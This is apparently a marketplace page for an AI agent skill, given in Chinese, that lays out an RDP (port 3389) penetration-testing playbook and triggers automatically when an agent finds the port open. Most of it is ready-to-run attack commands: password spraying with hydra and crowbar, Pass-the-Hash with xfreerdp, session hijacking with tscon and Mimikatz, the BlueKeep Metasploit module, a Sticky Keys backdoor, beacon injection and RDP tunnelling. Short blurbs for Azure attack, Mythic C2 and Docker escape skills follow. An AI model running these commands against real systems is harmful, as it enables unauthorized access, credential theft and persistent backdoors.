skills/exploit/network-service/rdp-pentesting/SKILL.md
RDP 服务(3389 端口)渗透测试方法论。涵盖 RDP 服务发现、凭据爆破、BlueKeep 等已知漏洞、RDP 会话劫持、NLA 绕过、RDP 中间人攻击。 当 Agent 扫描发现 3389 端口开放、需要测试 RDP 认证强度、枚举域信息、或进行会话劫持时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity rdp-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 3389 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 获取加密方式 / NLA 状态 / NTLM 信息
│ ├─ 版本探测 -> 对照已知漏洞 (Phase 4)
│ └─ NLA 是否启用?
│ ├─ 未启用 -> 可截图 / 匿名探测
│ └─ 已启用 -> 需凭据才能交互
├─ Phase 2: 凭据攻击
│ ├─ 密码喷洒 (crowbar / hydra / nxc) -- 注意锁定风险
│ ├─ 已知凭据验证 (rdp_check / xfreerdp)
│ └─ Pass-the-Hash (xfreerdp /pth:)
├─ Phase 3: 会话劫持
│ ├─ 需要 SYSTEM 权限
│ ├─ query user -> 枚举活跃会话
│ ├─ tscon <ID> /dest:<SESSION> -> 劫持会话
│ └─ Mimikatz ts::remote -> 替代方案
├─ Phase 4: 已知漏洞
│ ├─ CVE-2019-0708 (BlueKeep) — Windows 7 / 2008 R2 pre-auth RCE
│ ├─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│ └─ NLA 绕过场景 -> 降级攻击
└─ Phase 5: 后渗透技巧
├─ RDP Shadow (远程控制其他用户会话)
├─ Sticky Keys / Utilman 后门
├─ RDP 进程注入 (高权限用户 RDP 时注入 beacon)
└─ RDP 虚拟通道隧道 (rdp2tcp)
# 综合扫描: 加密方式 + DoS 漏洞 + NTLM 信息
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
# 安全层与加密信息
nmap --script rdp-enum-encryption -p 3389 <IP>
# NXC 快速认证检查 (同时报告 NLA 是否要求)
nxc rdp <IP> -u <user> -p <password>
# NLA 未启用时可截图 (无需认证)
nxc rdp <IP> --nla-screenshot
# 已认证截图
nxc rdp <IP> -u <user> -p <password> --screenshot
关键判断:
警告: RDP 爆破可能导致账户锁定,务必低速、少量尝试。
# crowbar — 专为 RDP 设计的爆破工具
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra — 通用爆破
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
# impacket rdp_check — 验证凭据有效性
rdp_check <domain>/<name>:<password>@<IP>
# RDP 连接
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
# Pass-the-Hash
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP>
凭据获取路径
├─ 有用户名列表
│ ├─ 密码喷洒 (低速,单密码多用户)
│ └─ 常见弱密码尝试: P@ssw0rd, <Company>123, <Season><Year>
├─ 有 NTLM 哈希
│ └─ xfreerdp /pth: 直接 Pass-the-Hash
├─ 有域凭据
│ └─ rdp_check 批量验证
└─ 凭据有效
├─ 进入 Phase 3 (会话劫持) — 如已有 SYSTEM 权限
└─ 进入 Phase 5 (后渗透)
需要 SYSTEM 权限,可访问任何已打开的 RDP 会话而无需知道密码。
# 枚举当前活跃会话
query user
# 劫持指定会话 (会踢掉原用户)
tscon <ID> /dest:<SESSIONNAME>
# Mimikatz 会话操作
ts::sessions # 列出会话
ts::remote /id:2 # 连接到会话
有 SYSTEM 权限
├─ query user 发现活跃 RDP 会话
│ ├─ 管理员会话 -> tscon 劫持 -> 获取管理员桌面
│ ├─ 普通用户会话 -> 检查其桌面 (记事本密码、其他 RDP 会话)
│ └─ Disconnected 会话 -> 同样可劫持
└─ 无活跃会话
└─ 等待用户登录 / 转向其他攻击
RDP 版本/系统已知
├─ Windows 7 / 2008 R2 (未打补丁)
│ └─ CVE-2019-0708 (BlueKeep) — pre-auth RCE
│ ├─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
│ ├─ Metasploit: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
│ └─ 前提: NLA 未启用时利用更可靠
├─ Windows XP / 2003 / Vista / 7 / 2008
│ └─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│ └─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
└─ NLA 降级攻击
├─ 中间人场景下强制客户端降级到旧安全层
└─ 截获凭据 (Seth / rdp-sec-check)
如果启用了远程桌面服务 Shadow 功能,可以查看或控制其他用户的活跃会话。
# 列出远程主机会话
qwinsta /server:<IP>
# Shadow 指定会话 (需同意时)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# 无需同意 (策略允许时)
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# 检查 Shadow 策略
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
# 替换 sethc.exe 或 utilman.exe 为 cmd.exe
# 在 RDP 登录界面触发快捷键即获得 SYSTEM cmd
# 搜索已被后门化的 RDP
# https://github.com/linuz/Sticky-Keys-Slayer
当高权限用户通过 RDP 登录你已控制的主机时,可将 beacon 注入其 RDP 会话进程,冒充该用户身份。
RDP 支持虚拟通道,可被滥用进行数据隧道 / 端口转发。
# rdp2tcp: 通过 RDP 虚拟通道复用 TCP 转发
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
net localgroup "Remote Desktop Users" UserLoginName /add
| 工具 | 用途 | |------|------| | AutoRDPwn | PowerShell 后渗透框架,自动化 Shadow 攻击 | | EvilRDP | 命令行控制鼠标/键盘、剪贴板、SOCKS 代理、无文件命令执行 | | SharpRDP | 无图形界面 RDP 命令执行 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能